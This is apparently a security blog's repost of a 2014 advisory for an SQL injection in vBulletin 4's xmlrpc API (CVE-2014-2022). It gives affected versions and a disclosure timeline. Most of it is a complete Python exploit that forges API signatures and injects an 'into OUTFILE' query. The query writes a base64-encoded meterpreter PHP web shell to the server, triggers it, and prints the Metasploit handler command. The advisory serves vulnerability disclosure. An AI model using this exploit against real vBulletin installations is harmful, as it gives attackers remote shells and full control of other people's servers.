Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86374979

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

CVE-2014-2022 - vbulletin 4.x - SQLi in breadcrumbs via xmlrpc API (post-auth)
==============================================================================

Overview
--------

	date    :  10/12/2014   
	cvss    :  7.1 (AV:N/AC:H/Au:S/C:C/I:C/A:C) base
	cwe     :  89   
	
	vendor  : vBulletin Solutions
	product : vBulletin 4
	versions affected :  latest 4.x (to date); verified <= 4.2.2
			* vBulletin 4.2.2     (verified)  
			* vBulletin 4.2.1     (verified)  
			* vBulletin 4.2.0 PL2 (verified)  
						
	exploitability :
			* remotely exploitable
			* requires authentication (apikey)
				
	patch availability (to date) :  None
				
Abstract
---------
 
	vBulletin 4 does not properly sanitize parameters to breadcrumbs_create allowing
	an attacker to inject arbitrary SQL commands (SELECT).
	
	risk:  rather low - due to the fact that you the api key is required
		   you can probably use CVE-2014-2023 to obtain the api key



Details
--------
	
	vulnerable component: 
		./includes/api/4/breadcrumbs_create.php
	vulnerable argument:
		conceptid
	
	which is sanitized as TYPE_STRING which does not prevent SQL injections.


Proof of Concept (PoC)
----------------------

	see https://github.com/tintinweb/pub/tree/master/pocs/cve-2014-2022
	
	
	1) prerequisites
	1.1) enable API, generate API-key
		 logon to AdminCP
		 goto "vBulletin API"->"API-Key" and enable the API interface, generate key
	2) run PoC
		 edit PoC to match your TARGET, APIKEY (, optionally DEBUGLEVEL)
		 provide WWW_DIR which is the place to write the php_shell to (mysql must have permissions for that folder)
		 Note: meterpreter_bind_tcp is not provided
		 run PoC, wait for SUCCESS! message
		 Note: poc will trigger meterpreter shell
		 
	meterpreter PoC scenario requires the mysql user to have write permissions 
	which may not be the case in some default installations.
	
	
Timeline
--------

	2014-01-14: initial vendor contact, no response
	2014-02-24: vendor contact, no response
	2014-10-13: public disclosure
	
Contact
--------
	tintinweb - https://github.com/tintinweb/pub/tree/master/pocs/cve-2014-2022
	
	
(0x721427D8)
	
- - -

#!/usr/bin/env python
# -*- coding: utf-8 -*-
'''
@author: tintinweb 0x721427D8
'''
import urllib2, cookielib, urllib, json, hashlib

class Exploit(object):
    
    baseurl = None
    cookies = None
    
    def __init__(self,baseurl,params, debuglevel=1):
        self.cookies = cookielib.LWPCookieJar()
        handlers = [
                    urllib2.HTTPHandler(debuglevel=debuglevel),
                    urllib2.HTTPSHandler(debuglevel=debuglevel),
                    urllib2.HTTPCookieProcessor(self.cookies)
                    ]
        self.browser = urllib2.build_opener(*handlers)
        self.baseurl=baseurl
        self.params = params
    
    def call(self,path="",data={}):
        assert(isinstance(data,dict))
        data = urllib.urlencode(data)

        req = urllib2.Request("%s%s"%(self.baseurl,path),data)
        req.add_header("Content-Type", "application/x-www-form-urlencoded")

        return self.browser.open(req)
    
    def call_json(self,path=None,data={}):
        try:
            x=self.call(path,data).read()
            print "raw_response", x
            resp =  json.loads(x)
        except urllib2.HTTPError, he:
            resp = he.read()
        return resp


    def vb_init_api(self):
        params = {'api_m':'api_init'}
        params.update(self.params)
        data = self.call_json("?%s"%(urllib.urlencode(params)))  
        self.session = data
        return data
    
    def vb_call(self, params):
        api_sig = self._vb_build_api_sig(params)
        req_params = self._vb_build_regstring(api_sig)
        params.update(req_params)
        data = self.call_json("?%s"%(urllib.urlencode(params)),data=params)
        if not isinstance(data, dict):
            return data
        if 'errormessage' in data['response'].keys():
            raise Exception(data)
        return data

    def _ksort(self, d):
        ret = []
        for key, value in [(k,d[k]) for k in sorted(d.keys())]:
            ret.append( "%s=%s"%(key,value))
        return "&".join(ret)

    def _ksort_urlencode(self, d):
        ret = []
        for key, value in [(k,d[k]) for k in sorted(d.keys())]:
            ret.append( urllib.urlencode({key:value}))
        return "&".join(ret)

    def _vb_build_api_sig(self, params):
        apikey = self.params['apikey']
        login_string = self._ksort_urlencode(params)
        access_token = str(self.session['apiaccesstoken'])
        client_id = str(self.session['apiclientid'])
        secret = str(self.session['secret'])
        return hashlib.md5(login_string+access_token+client_id+secret+apikey).hexdigest()
    
    def _vb_build_regstring(self, api_sig):
        params = {
                  'api_c':self.session['apiclientid'],
                  'api_s':self.session['apiaccesstoken'],
                  'api_sig':api_sig,
                  'api_v':self.session['apiversion'],
                  }
        return params
    

if __name__=="__main__":
    TARGET = "http://192.168.220.131/vbb4/api.php"
    APIKEY = "4FAVcRDc"
    REMOTE_SHELL_PATH = "/var/www/myShell.php"
    TRIGGER_URL = "http://192.168.220.131/myShell.php"
    DEBUGLEVEL = 0          # 1 to enable request tracking
    

    ### 2. sqli - simple - write outfile
    print "[  2 ] - sqli - inject 'into outfile' to create file xxxxx.php"
    params = {'clientname':'fancy_exploit_client',
             'clientversion':'1.0',
             'platformname':'exploit',
             'platformversion':'1.5',
             'uniqueid':'1234',
             'apikey':APIKEY} 
    x = Exploit(baseurl=TARGET,params=params)
    
    vars = x.vb_init_api()
    print vars
    '''
    x.vb_call(params={'api_m':'breadcrumbs_create',
                          'type':'t',
                          #'conceptid':"1 union select 1 into OUTFILE '%s'"%REMOTE_SHELL_PATH,
                          'conceptid':"1 union select 1 into OUTFILE '%s'"%(REMOTE_SHELL_PATH)
                          })
    
    print "[   *] SUCCESS! - created file %s"%TRIGGER_URL
    '''
    ### 3. sqli - put meterpreter shell and trigger it
    print "[  3 ] - sqli - meterpreter shell + trigger"
    with open("./meterpreter_bind_tcp") as f:
        shell = f.read()

    shell = shell.replace("<?php","").replace("?>","")          #cleanup tags
    shell = shell.encode("base64").replace("\n","")     #encode payload
    shell = "<?php eval(base64_decode('%s')); ?>"%shell # add decoderstub
    shell = "0x"+shell.encode("hex")                    # for mysql outfile
    
 
    x.vb_call(params={'api_m':'breadcrumbs_create',
                          'type':'t',
                          'conceptid':"1 union select %s into OUTFILE '%s'"%(shell,REMOTE_SHELL_PATH)})     
    print "[   *] SUCCESS! - triggering shell .. (script should not exit)"
    print "[    ] exploit: #>  msfcli multi/handler PAYLOAD=php/meterpreter/bind_tcp LPORT=4444 RHOST=<TARGET_IP> E"
    print "[   *] shell active ... waiting for it to die ..."
    print urllib2.urlopen(TRIGGER_URL)   
    print "[    ] shell died!"
    print "-- quit --"